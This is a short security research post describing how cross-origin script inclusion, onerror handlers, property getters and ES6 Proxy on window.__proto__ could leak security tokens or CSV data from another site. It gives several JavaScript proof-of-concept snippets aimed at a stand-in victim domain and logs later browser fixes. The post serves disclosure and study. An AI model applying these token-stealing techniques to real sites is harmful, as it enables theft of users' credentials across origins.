alf.nu [ edit ]

Stealing Tokens With Harmony

ECMAScript 6 proxies can could be used to steal security tokens.

In the old days, if someone served up a raw token, you could steal it like this:

JavaScript
window.onerror = function(s) { alert(s); };
document.write('<script src=/token/big><\/script>');
Result

But then, browsers turned off error messages for scripts loaded across origins:

JavaScript
window.onerror = function(s) { alert(s); };
document.write('<script src=' +
  '//victim.website/token/big><\/script>');
Result

If the token was small, you could guess it by brute force:

JavaScript

for (var i=0xa00; i <= 0xfff; i++) {
  var s = i.toString(16);
  Object.defineProperty(window, i.toString(16), 
     { get:alert.bind(null, s) });
}
document.write('<script src=' + 
  '//victim.website/token/small><\/script>');
Result

But then suddenly, fancy new Proxy magic (in Firefox, or Chrome with chrome://flags/#enable-javascript-harmony)

JavaScript
window.__proto__ = Proxy.create({
  getPropertyDescriptor: function(s) {
      alert('Property access: '+s)
  }});
document.write('<script src=' +
  '//victim.website/token/big><\/script>');
Result

That API was then replaced with a new API, but this time the leak was fixed:

JavaScript
window.onerror = x => alert(x);
window.__proto__ = new Proxy({}, {
  get: s => alert('Property access: '+s)
 });
document.write('<script src=' +
  '//victim.website/token/big><\/script>');
Result

Not just tokens

As @avlidienbrunn points out, a fair fraction of CSV files will also be valid JavaScript after automatic semicolon insertion.

Input file
"User name",Name,Address
guest,Guest,Unknown
jd,"John Doe","123 Foo St"
bob,"Bob Rando","12345"
Property accesses seen parsing file
Name
Address
guest
Guest
Unkown
jd
bob

Updates

2015-12-17: Fixed in Chrome!

2014-12-06: Chrome has apparently removed proxy support entirely for now; Firefox will be doing something eventually.

2014-12-27: @rafaybaloch points out this Chrome bug report which is now public. Of note, Chrome respects X-Content-Type-Options for JavaScript, but Firefox does not.

Complaints to @steike.